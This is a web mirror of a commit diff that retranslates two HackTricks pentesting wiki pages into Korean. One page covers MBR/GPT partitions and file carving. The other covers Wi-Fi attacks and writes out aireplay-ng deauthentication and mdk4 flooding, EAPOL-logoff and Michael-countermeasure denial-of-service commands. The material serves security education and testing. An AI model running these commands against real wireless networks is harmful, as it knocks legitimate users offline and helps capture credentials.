maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

Browse Source
This commit is contained in:
Translator 2025-07-10 12:28:34 +00:00
parent 92ae96df35
commit f9afc45116
14 changed files with 505 additions and 422 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

128
src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
View File

@ -1,53 +1,53 @@
# 파티션/파일 시스템/카빙
# Partitions/File Systems/Carving
{{#include ../../../banners/hacktricks-training.md}}
## 파티션
## Partitions
하드 드라이브 또는 **SSD 디스크는 데이터를 물리적으로 분리하기 위해 서로 다른 파티션을 포함할 수 있습니다**.\
디스크의 **최소** 단위는 **섹터**(일반적으로 512B로 구성됨)입니다. 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다.
디스크의 **최소** 단위는 **섹터**(정상적으로 512B로 구성됨)입니다. 따라서 각 파티션 크기는 그 크기의 배수여야 합니다.
### MBR (마스터 부트 레코드)
### MBR (master Boot Record)
부트 코드의 446B 이후 **디스크의 첫 번째 섹터에 할당됩니다**. 이 섹터는 PC에 파티션을 무엇으로부터 어디에서 마운트해야 하는지를 나타내는 데 필수적입니다.\
최대 **4개의 파티션**을 허용합니다(최대 **1개만 활성화/부팅 가능**). 그러나 더 많은 파티션이 필요하면 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 **마지막 바이트**는 부트 레코드 서명 **0x55AA**입니다. 활성화된 파티션은 하나만 표시될 수 있습니다.\
이는 **부트 코드의 446B 이후 디스크의 첫 번째 섹터에 할당됩니다**. 이 섹터는 PC에 파티션을 어디서 어떻게 마운트해야 하는지를 나타내는 데 필수적입니다.\
최대 **4개의 파티션**을 허용합니다(최대 **1개**만 활성/**부팅 가능**). 그러나 더 많은 파티션이 필요하면 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 **마지막 바이트**는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성으로 표시할 수 있습니다.\
MBR은 **최대 2.2TB**를 허용합니다.
![](<../../../images/image (350).png>)
![](<../../../images/image (304).png>)
MBR의 **440에서 443 바이트**에서 **Windows 디스크 서명**을 찾을 수 있습니다(Windows가 사용되는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows가 부팅되지 않을 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
**MBR의 440에서 443 바이트**에서 **Windows 디스크 서명**을 찾을 수 있습니다(Windows가 사용되는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows가 부팅되지 않을 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (310).png>)
**형식**
**Format**
| 오프셋 | 길이 | 항목 |
| ----------- | -------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | 부트 코드 |
| 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 |
| 462 (0x1CE) | 16 (0x10) | 두 번째 파티션 |
| 478 (0x1DE) | 16 (0x10) | 세 번째 파티션 |
| 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 |
| 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA |
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Boot code |
| 446 (0x1BE) | 16 (0x10) | First Partition |
| 462 (0x1CE) | 16 (0x10) | Second Partition |
| 478 (0x1DE) | 16 (0x10) | Third Partition |
| 494 (0x1EE) | 16 (0x10) | Fourth Partition |
| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA |
**파티션 레코드 형식**
**Partition Record Format**
| 오프셋 | 길이 | 항목 |
| --------- | ------ | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) |
| 1 (0x01) | 1 (0x01) | 시작 헤드 |
| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
| 3 (0x03) | 1 (0x01) | 시작 실린더의 최하위 8비트 |
| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = 리눅스) |
| 5 (0x05) | 1 (0x01) | 종료 헤드 |
| 6 (0x06) | 1 (0x01) | 종료 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
| 7 (0x07) | 1 (0x01) | 종료 실린더의 최하위 8비트 |
| 8 (0x08) | 4 (0x04) | 파티션 이전의 섹터 (리틀 엔디안) |
| 12 (0x0C) | 4 (0x04) | 파티션 내의 섹터 |
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Start head |
| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits |
| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | End head |
| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) |
| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits |
| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) |
| 12 (0x0C) | 4 (0x04) | Sectors in partition |
Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 가져와야 합니다( `fdisk`와 `p` 명령을 사용할 수 있습니다).
MBR을 Linux에 마운트하려면 먼저 시작 오프셋을 가져와야 합니다( `fdisk` 및 `p` 명령을 사용할 수 있습니다)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -60,24 +60,24 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (논리 블록 주소 지정)**
**논리 블록 주소 지정** (**LBA**)는 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 방식으로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에서 사용됩니다. LBA는 특히 간단한 선형 주소 지정 방식으로, **블록은 정수 인덱스로 위치가 지정되며**, 첫 번째 블록은 LBA 0, 두 번째는 LBA 1, 그리고 계속됩니다.
**논리 블록 주소 지정** (**LBA**)은 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 방식으로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에서 사용됩니다. LBA는 특히 간단한 선형 주소 지정 방식으로, **블록은 정수 인덱스로 위치가 지정되며**, 첫 번째 블록은 LBA 0, 두 번째는 LBA 1 등으로 이어집니다.
### GPT (GUID 파티션 테이블)
GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 선호됩니다. 파티션에 대한 **전 세계적으로 고유한 식별자**로 독특한 GPT는 여러 면에서 두드러집니다:
GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 선호됩니다. 파티션에 대한 **전 세계적으로 고유한 식별자**로 구별되는 GPT는 여러 면에서 두드러집니다:
- **위치 및 크기**: GPT와 MBR 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**로 작동하며, MBR은 32비트입니다.
- **위치 및 크기**: GPT와 MBR은 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**로 작동하며, MBR의 32비트와 대조됩니다.
- **파티션 한계**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용할 수 있습니다.
- **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있습니다.
**데이터 복원력 및 복구**:
- **중복성**: MBR과 달리 GPT는 파티션 및 부트 데이터를 단일 위치에 제한하지 않습니다. 이 데이터는 디스크 전반에 복제되어 데이터 무결성과 복원력을 향상시킵니다.
- **중복성**: MBR과 달리 GPT는 파티션 및 부트 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전반에 복제하여 데이터 무결성과 복원력을 향상시킵니다.
- **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 손상이 감지되면 GPT는 다른 디스크 위치에서 손상된 데이터를 복구하려고 시도합니다.
**보호 MBR (LBA0)**:
- GPT는 보호 MBR을 통해 하위 호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 위치하지만, 이전 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다.
- GPT는 보호 MBR을 통해 하위 호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 존재하지만, 이전 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
@ -85,7 +85,7 @@ GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교
[위키백과에서](https://en.wikipedia.org/wiki/GUID_Partition_Table)
**EFI**가 아닌 **BIOS** 서비스를 통해 **GPT 기반 부팅**을 지원하는 운영 체제에서는 첫 번째 섹터가 **부트로더** 코드의 첫 번째 단계를 저장하는 데 여전히 사용될 수 있지만, **GPT** **파티션**을 인식하도록 **수정**됩니다. MBR의 부트로더는 512바이트의 섹터 크기를 가정해서는 안 됩니다.
**EFI** 대신 **BIOS** 서비스를 통해 **GPT 기반 부팅**을 지원하는 운영 체제에서는 첫 번째 섹터가 **부트로더** 코드의 첫 번째 단계를 저장하는 데 여전히 사용될 수 있지만, **GPT** **파티션**을 인식하도록 **수정**됩니다. MBR의 부트로더는 섹터 크기가 512바이트라고 가정해서는 안 됩니다.
**파티션 테이블 헤더 (LBA 1)**
@ -95,31 +95,31 @@ GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교
| 오프셋 | 길이 | 내용 |
| --------- | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| 0 (0x00) | 8 바이트 | 서명 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)리틀 엔디안 기계에서) |
| 8 (0x08) | 4 바이트 | UEFI 2.8에 대한 수정 1.0 (00h 00h 01h 00h) |
| 0 (0x00) | 8 바이트 | 서명 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)리틀 엔디안 머신에서) |
| 8 (0x08) | 4 바이트 | UEFI 2.8을 위한 수정 1.0 (00h 00h 01h 00h) |
| 12 (0x0C) | 4 바이트 | 리틀 엔디안의 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) |
| 16 (0x10) | 4 바이트 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 헤더의 CRC (오프셋 +0에서 헤더 크기까지) 리틀 엔디안, 이 필드는 계산 중에 0으로 설정됨 |
| 20 (0x14) | 4 바이트 | 예약; 0이어야 함 |
| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 복사본의 위치) |
| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 복사본의 위치) |
| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA − 1) |
| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 복사본에서 항상 2) |
| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
| 16 (0x10) | 4 바이트 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 헤더의 CRC (오프셋 +0에서 헤더 크기까지) 리틀 엔디안, 이 필드는 계산 중에 0으로 설정됨 |
| 20 (0x14) | 4 바이트 | 예약; 0이어야 함 |
| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 복사의 위치) |
| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 복사의 위치) |
| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA − 1) |
| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 복사본에서 항상 2) |
| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) |
| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
| 92 (0x5C) | \* | 나머지 블록에 대해 0이어야 하는 예약 (512바이트의 섹터 크기에 대해 420바이트; 그러나 더 큰 섹터 크기로 더 많을 수 있음) |
| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
| 92 (0x5C) | \* | 예약; 블록의 나머지 부분에 대해 0이어야 함 (512바이트의 섹터 크기에 대해 420바이트; 그러나 더 큰 섹터 크기로 더 많을 수 있음) |
**파티션 항목 (LBA 2–33)**
| GUID 파티션 항목 형식 | | |
| ---------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| 오프셋 | 길이 | 내용 |
| 오프셋 | 길이 | 내용 |
| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (혼합 엔디안) |
| 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) |
| 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) |
| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) |
| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 유닛) |
@ -135,7 +135,7 @@ GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교
![](<../../../images/image (354).png>)
**MBR** 대신 **GPT 테이블**인 경우 **섹터 1**에 서명 _EFI PART_가 나타나야 합니다 (이전 이미지에서는 비어 있습니다).
만약 **MBR** 대신 **GPT 테이블**이었다면, **섹터 1**에 서명 _EFI PART_가 나타나야 합니다 (이전 이미지에서는 비어 있습니다).
## 파일 시스템
@ -149,15 +149,15 @@ GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교
### FAT
**FAT (파일 할당 테이블)** 파일 시스템은 볼륨의 시작에 위치한 파일 할당 테이블을 중심으로 설계되었습니다. 이 시스템은 **두 개의 복사본**을 유지하여 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며, 이는 시스템의 시작 프로세스에 중요합니다.
**FAT (파일 할당 테이블)** 파일 시스템은 볼륨의 시작에 위치한 파일 할당 테이블을 중심으로 설계되었습니다. 이 시스템은 **두 개의 복사본**을 유지하여 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정된 위치**에 있어야 하며, 이는 시스템의 시작 프로세스에 중요합니다.
파일 시스템의 기본 저장 단위는 **클러스터, 일반적으로 512B**로, 여러 섹터로 구성됩니다. FAT는 다음과 같은 버전으로 발전했습니다:
파일 시스템의 기본 저장 단위는 **클러스터, 일반적으로 512B**로, 여러 섹터로 구성됩니다. FAT는 다음과 같은 버전으로 발전해왔습니다:
- **FAT12**, 12비트 클러스터 주소를 지원하며 최대 4078 클러스터를 처리합니다 (UNIX와 함께 4084).
- **FAT16**, 16비트 주소로 향상되어 최대 65,517 클러스터를 수용합니다.
- **FAT32**, 32비트 주소로 더욱 발전하여 볼륨당 인상적인 268,435,456 클러스터를 허용합니다.
- **FAT32**, 32비트 주소로 더욱 발전하여 볼륨당 최대 268,435,456 클러스터를 허용합니다.
FAT 버전 전반에 걸쳐 **4GB 최대 파일 크기**라는 중요한 제한이 있으며, 이는 파일 크기 저장에 사용되는 32비트 필드에 의해 부과됩니다.
모든 FAT 버전에서의 주요 제한 사항은 **4GB 최대 파일 크기**로, 이는 파일 크기 저장에 사용되는 32비트 필드에 의해 부과됩니다.
특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다:
@ -189,9 +189,9 @@ FAT 버전 전반에 걸쳐 **4GB 최대 파일 크기**라는 중요한 제한
### 기록된 삭제된 파일
이전에 보았듯이 파일이 "삭제"된 후에도 여러 장소에 여전히 저장되어 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하는 것이 단순히 삭제된 것으로 표시할 뿐, 데이터는 손대지 않기 때문입니다. 따라서 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾는 것이 가능합니다.
이전에 보았듯이, 파일이 "삭제"된 후에도 여러 장소에 여전히 저장되어 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하는 것이 단순히 삭제로 표시할 뿐, 데이터는 손대지 않기 때문입니다. 따라서 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾는 것이 가능합니다.
또한, OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로, 이를 사용하여 파일이나 가능한 한 많은 정보를 복구하려고 시도할 수 있습니다.
또한, OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로, 이를 사용하여 파일이나 가능한 한 많은 정보를 복구할 수 있습니다.
{{#ref}}
file-data-carving-recovery-tools.md
@ -199,9 +199,9 @@ file-data-carving-recovery-tools.md
### **파일 카빙**
**파일 카빙**은 **대량의 데이터에서 파일을 찾으려는 기술**입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 푸터 기반**, 파일 유형 **구조 기반**, 및 **내용** 자체 기반의 세 가지입니다.
**파일 카빙**은 **대량의 데이터에서 파일을 찾으려는 기술**입니다. 이러한 도구는 **파일 유형 헤더 및 풋터**를 기반으로 하거나, 파일 유형의 **구조**를 기반으로 하거나, **내용** 자체를 기반으로 작동하는 3가지 주요 방법이 있습니다.
이 기술은 **조각난 파일을 검색하는 데는 작동하지 않습니다**. 파일이 **연속 섹터에 저장되지 않으면**, 이 기술은 파일을 찾거나 적어도 일부를 찾을 수 없습니다.
이 기술은 **조각화된 파일을 검색하는 데는 작동하지 않음을 유의하십시오**. 파일이 **연속 섹터에 저장되지 않으면**, 이 기술은 파일을 찾거나 적어도 일부를 찾을 수 없습니다.
파일 카빙을 위해 검색할 파일 유형을 지정할 수 있는 여러 도구가 있습니다.
@ -211,7 +211,7 @@ file-data-carving-recovery-tools.md
### 데이터 스트림 **C**arving
데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신 흥미로운 정보 조각을 찾습니다**.\
데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신, 흥미로운 정보 조각을 찾습니다**.\
예를 들어, 기록된 URL을 포함하는 완전한 파일을 찾는 대신, 이 기술은 URL을 검색합니다.
{{#ref}}
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
### 안전한 삭제
물론, 파일 및 해당 로그의 일부를 **"안전하게" 삭제하는 방법**이 있습니다. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 **덮어쓰고**, 그런 다음 파일에 대한 **$MFT** 및 **$LOGFILE**의 **로그를 제거하고**, **볼륨 섀도 복사본**을 제거할 수 있습니다.\
이 작업을 수행하더라도 **파일의 존재가 여전히 기록된 다른 부분이 있을 수 있으며**, 이는 사실이며 포렌식 전문가의 작업 중 일부는 이를 찾는 것입니다.
물론, 파일 및 해당 로그의 일부를 **"안전하게" 삭제하는 방법이 있습니다**. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, **$MFT** 및 **$LOGFILE**에서 파일에 대한 **로그**를 제거하고, **볼륨 섀도 복사본**을 제거하는 것이 가능합니다.\
이 작업을 수행하더라도 **파일의 존재가 여전히 기록된 다른 부분이 있을 수 있음을 알 수 있습니다**, 이는 사실이며 포렌식 전문가의 작업 중 하나는 이를 찾는 것입니다.
## 참고 문헌

172
src/generic-methodologies-and-resources/pentesting-wifi/README.md
View File

@ -1,4 +1,4 @@
# Pentesting Wifi
# Wifi 침투 테스트
{{#include ../../banners/hacktricks-training.md}}
@ -24,7 +24,7 @@ iwlist wlan0 scan #Scan available wifis
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
### 에어게돈
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
@ -59,10 +59,10 @@ sudo python setup.py install # Install any dependencies
- 가능한 네트워크 스캔 - 피해자 선택 가능
- WEP인 경우 - WEP 공격 시작
- WPA-PSK인 경우
- WPS인 경우: 픽시 더스트 공격 및 브루트포스 공격 (브루트포스 공격은 시간이 오래 걸릴 수 있으니 주의하세요). 널 PIN 또는 데이터베이스/생성된 PIN을 시도하지 않습니다.
- WPS인 경우: Pixie dust 공격 및 브루트포스 공격 (브루트포스 공격은 시간이 오래 걸릴 수 있으니 주의하세요). null PIN 또는 데이터베이스/생성된 PIN을 시도하지 않습니다.
- AP에서 PMKID를 캡처하여 크랙 시도
- AP의 클라이언트를 비인증하여 핸드셰이크 캡처 시도
- PMKID 또는 핸드셰이크가 있을 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스 시도.
- AP의 클라이언트를 비인증하여 핸드쉐이크 캡처 시도
- PMKID 또는 핸드쉐이크가 있는 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스 시도.
## 공격 요약
@ -77,17 +77,17 @@ sudo python setup.py install # Install any dependencies
- **WPA-PSK**
- **WPS** 핀 "브루트포스"
- **WPA PMKID** 브루트포스
- \[DoS +] **WPA 핸드셰이크** 캡처 + 크래킹
- \[DoS +] **WPA 핸드쉐이크** 캡처 + 크래킹
- **WPA-MGT**
- **사용자 이름 캡처**
- **브루트포스** 자격 증명
- **이상한 쌍둥이** (DoS 유무에 관계없이)
- **오픈** 이상한 쌍둥이 \[+ DoS] -- 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
- **오픈** 이상한 쌍둥이 \[+ DoS] -- 캡티브 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
- **WPA-PSK** 이상한 쌍둥이 -- 비밀번호를 알고 있다면 네트워크 공격에 유용
- **WPA-MGT** -- 회사 자격 증명 캡처에 유용
- **KARMA, MANA**, **Loud MANA**, **Known beacon**
- **+ 오픈** -- 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
- **+ WPA** -- WPA 핸드셰이크 캡처에 유용
- **+ 오픈** -- 캡티브 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
- **+ WPA** -- WPA 핸드쉐이크 캡처에 유용
## DOS
@ -95,17 +95,17 @@ sudo python setup.py install # Install any dependencies
**설명은** [**여기**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**비인증** 공격은 Wi-Fi 해킹에서 널리 사용되는 방법으로, "관리" 프레임을 위조하여 **장치를 네트워크에서 강제로 연결 해제**합니다. 이 암호화되지 않은 패킷은 클라이언트가 합법적인 네트워크에서 온 것처럼 속여, 공격자가 크랙 목적으로 WPA 핸드셰이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 간단한 전술은 널리 사용되며 네트워크 보안에 중대한 영향을 미칩니다.
**비인증** 공격은 Wi-Fi 해킹에서 널리 사용되는 방법으로, "관리" 프레임을 위조하여 **장치를 네트워크에서 강제로 연결 끊기**는 것입니다. 이 암호화되지 않은 패킷은 클라이언트가 합법적인 네트워크에서 온 것처럼 속여, 공격자가 크랙 목적으로 WPA 핸드쉐이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 간단한 전술은 널리 사용되며 네트워크 보안에 중대한 영향을 미칩니다.
**Aireplay-ng를 사용한 비인증**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
- -0은 비인증을 의미합니다.
- 1은 전송할 비인증 수입니다(원하는 만큼 여러 개를 전송할 수 있습니다); 0은 지속적으로 전송함을 의미합니다.
- 1은 전송할 비인증의 수입니다(원하는 만큼 여러 개를 전송할 수 있습니다); 0은 지속적으로 전송함을 의미합니다.
- -a 00:14:6C:7E:40:80은 액세스 포인트의 MAC 주소입니다.
- -c 00:0F:B5:34:30:30은 비인증할 클라이언트의 MAC 주소입니다; 이 항목이 생략되면 브로드캐스트 비인증이 전송됩니다(항상 작동하지는 않음).
- ath0은 인터페이스 이름입니다.
- -c 00:0F:B5:34:30:30은 비인증할 클라이언트의 MAC 주소입니다; 이 옵션이 생략되면 브로드캐스트 비인증이 전송됩니다(항상 작동하지는 않음).
- ath0는 인터페이스 이름입니다.
### 비연결 패킷
@ -122,7 +122,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **mdk4에 의한 더 많은 DOS 공격**
**여기**에서 **확인하세요**.
**여기** [**에서**](https://en.kali.tools/?p=864)**.**
**공격 모드 b: 비콘 플러딩**
@ -136,7 +136,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**ATTACK MODE a: 인증 서비스 거부**
모든 접근 가능한 액세스 포인트(AP)로 인증 프레임을 전송하면, 특히 많은 클라이언트가 관련된 경우 이러한 AP가 과부하에 걸릴 수 있습니다. 이 강한 트래픽은 시스템 불안정을 초래하여 일부 AP가 멈추거나 심지어 재설정될 수 있습니다.
접근 가능한 모든 액세스 포인트(AP)에 인증 프레임을 전송하면, 특히 많은 클라이언트가 관련된 경우 이러한 AP가 과부하될 수 있습니다. 이 강한 트래픽은 시스템 불안정을 초래하여 일부 AP가 멈추거나 심지어 재설정될 수 있습니다.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -146,26 +146,26 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ATTACK MODE p: SSID Probing and Bruteforcing**
Access Point (AP) 탐색은 SSID가 제대로 공개되었는지 확인하고 AP의 범위를 확인합니다. 이 기술은 **숨겨진 SSID를 bruteforcing**하는 것과 결합되어 숨겨진 네트워크를 식별하고 접근하는 데 도움이 됩니다.
Access Points (APs)를 탐색하여 SSID가 제대로 공개되었는지 확인하고 AP의 범위를 확인합니다. 이 기술은 **숨겨진 SSID를 bruteforcing**하는 것과 결합되어 숨겨진 네트워크를 식별하고 접근하는 데 도움이 됩니다.
**ATTACK MODE m: Michael Countermeasures Exploitation**
무작위 또는 중복 패킷을 다양한 QoS 큐에 전송하면 **TKIP APs**에서 Michael Countermeasures가 트리거되어 AP가 1분 동안 중단될 수 있습니다. 이 방법은 효율적인 **DoS** (서비스 거부) 공격 전술입니다.
무작위 또는 중복 패킷을 다양한 QoS 큐에 전송하면 **TKIP APs**에서 Michael Countermeasures가 작동하여 AP가 1분 동안 중단될 수 있습니다. 이 방법은 효율적인 **DoS** (서비스 거부) 공격 전술입니다.
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
**공격 모드 e: EAPOL 시작 및 로그오프 패킷 주입**
AP에 **EAPOL Start 프레임**을 플러딩하면 **가짜 세션**이 생성되어 AP를 압도하고 정당한 클라이언트를 차단합니다. 또는 **가짜 EAPOL Logoff 메시지**를 주입하면 클라이언트를 강제로 연결 해제할 수 있으며, 두 방법 모두 네트워크 서비스를 효과적으로 방해합니다.
AP에 **EAPOL 시작 프레임**을 플러딩하면 **가짜 세션**이 생성되어 AP를 압도하고 합법적인 클라이언트를 차단합니다. 또는 **가짜 EAPOL 로그오프 메시지**를 주입하면 클라이언트를 강제로 연결 해제할 수 있으며, 두 방법 모두 네트워크 서비스를 효과적으로 방해합니다.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: IEEE 802.11s 메쉬 네트워크에 대한 공격**
**ATTACK MODE s: IEEE 802.11s 메시 네트워크에 대한 공격**
메쉬 네트워크의 링크 관리 및 라우팅에 대한 다양한 공격.
메시 네트워크에서 링크 관리 및 라우팅에 대한 다양한 공격.
**ATTACK MODE w: WIDS 혼란**
@ -174,7 +174,7 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
